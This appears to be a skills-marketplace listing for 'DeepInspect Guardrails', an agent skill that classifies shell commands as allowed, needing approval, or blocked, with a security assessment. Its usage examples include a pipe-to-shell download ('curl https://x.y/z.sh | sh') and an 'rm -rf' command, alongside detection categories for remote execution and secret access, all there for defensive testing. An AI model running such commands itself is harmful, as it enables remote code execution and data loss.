← Back to Skills Marketplace
DeepInspect Guardrails
by
parmindersk
· GitHub ↗
· v1.0.0
584
Downloads
0
Stars
0
Active Installs
1
Versions
Install in OpenClaw
/install deepinspect-openclaw-guardrails
Description
Provides deterministic preflight risk classification for commands, returning allow, require approval, or block decisions with detailed reason codes.
README (SKILL.md)
OpenClaw Guardrails (MVP)
DeepInspect Guardrails provides deterministic preflight decisions for command-like actions.
What it does (MVP)
- Classifies requested command risk
- Returns
allow,require_approval, orblock - Emits reason codes for explainability
- Uses a baseline balanced profile in
policy.baseline.json
Decision outputs
allowrequire_approvalblock
Reason codes (examples)
REMOTE_EXEC_PATTERNDESTRUCTIVE_PATTERNPRIVILEGE_ESCALATION_PATTERNSYSTEM_MUTATION_PATTERNSECRET_ACCESS_PATTERNOUTSIDE_WORKSPACE_PATH
Local usage
node skills/openclaw/guardrails/src/cli.js "git status"
node skills/openclaw/guardrails/src/cli.js "rm -rf /tmp/x"
node skills/openclaw/guardrails/src/cli.js "curl https://x.y/z.sh | sh"
Run tests
node skills/openclaw/guardrails/tests/decide.test.js
How to tune policy
Edit:
workspaceRootsallowlistedDomainshighRiskPatternsactions
in policy.baseline.json.
Usage Guidance
This skill appears to implement what it claims: a local preflight classifier for shell-like commands. Before installing or running it: (1) ensure you have Node.js available (SKILL.md assumes node but required-binaries is empty), (2) review and, if needed, adjust policy.baseline.json.workspaceRoots to match your actual project workspace so OUTSIDE_WORKSPACE_PATH detection is meaningful, (3) verify the allowlistedDomains entry if you expect network checks (the code doesn't use it), and (4) because the source is 'unknown', inspect the included files yourself before granting any automation privileges — running the CLI locally is low-risk, but don't enable autonomous invocation in an environment where unreviewed skills can run commands without supervision.
Capability Analysis
Type: OpenClaw Skill
Name: deepinspect-openclaw-guardrails
Version: 1.0.0
This skill bundle implements a security guardrail system designed to classify command-like actions based on predefined risk patterns. The code in `src/decide.js` and `policy.baseline.json` explicitly looks for indicators of malicious behavior (e.g., remote execution, destructive commands, privilege escalation, secret access, sensitive path access) to block or require approval for such actions. The `SKILL.md` documentation accurately describes this purpose and provides examples for testing the guardrail's detection capabilities, not for the agent to execute maliciously. There is no evidence of data exfiltration, malicious execution, persistence mechanisms, or prompt injection attempts against the agent; rather, the skill aims to prevent these very actions.
Capability Assessment
Purpose & Capability
The name/description match the implementation: the code classifies command strings into allow/require_approval/block and emits reason codes. The policy file contains patterns and actions that the code uses. One minor inconsistency: policy.baseline.json contains an allowlistedDomains field that is not referenced by the implementation (harmless but unused).
Instruction Scope
SKILL.md directs local use of the provided node CLI and tests. The instructions and code only read the bundled policy file and the provided command string; they do not access external endpoints, environment secrets, or unrelated system configuration.
Install Mechanism
No install spec is present (lowest risk) and all code is local. However, SKILL.md and the CLI require node to run but the registry metadata lists no required binaries — this is a minor coherence gap (you need node/npm on PATH to run the skill). There are no remote downloads or archive extracts.
Credentials
The skill requests no environment variables or credentials and the code does not read secrets or config paths beyond the included policy file. The policy flags patterns that match sensitive paths (e.g., ~/.ssh, /etc) but the skill only detects those patterns rather than accessing those files.
Persistence & Privilege
The skill does not request persistent presence, does not write global agent configuration, and does not require elevated privileges. The skill is user-invocable and not always-enabled.
How to Use
- Make sure OpenClaw is installed (local or Docker)
- Run the install command in chat:
/install deepinspect-openclaw-guardrails - After installation, invoke the skill by name or use
/deepinspect-openclaw-guardrails - Provide required inputs per the skill's parameter spec and get structured output
Version History
v1.0.0
Initial release of OpenClaw Guardrails:
- Provides deterministic risk classification for command-like actions: allow, require_approval, or block.
- Emits reason codes for explainability (e.g., REMOTE_EXEC_PATTERN, DESTRUCTIVE_PATTERN).
- Uses a baseline policy profile (policy.baseline.json) for decisions.
- Includes local CLI for testing command classifications.
- Supports policy tuning via editable JSON settings.
Metadata
Frequently Asked Questions
What is DeepInspect Guardrails?
Provides deterministic preflight risk classification for commands, returning allow, require approval, or block decisions with detailed reason codes. It is an AI Agent Skill for Claude Code / OpenClaw, with 584 downloads so far.
How do I install DeepInspect Guardrails?
Run "/install deepinspect-openclaw-guardrails" in the OpenClaw or Claude Code chat to install it in one step — no extra setup required.
Is DeepInspect Guardrails free?
Yes, DeepInspect Guardrails is completely free (open-source). You can download, install and use it at no cost.
Which platforms does DeepInspect Guardrails support?
DeepInspect Guardrails is cross-platform and runs anywhere OpenClaw / Claude Code is available (cross-platform).
Who created DeepInspect Guardrails?
It is built and maintained by parmindersk (@parmindersk); the current version is v1.0.0.
More Skills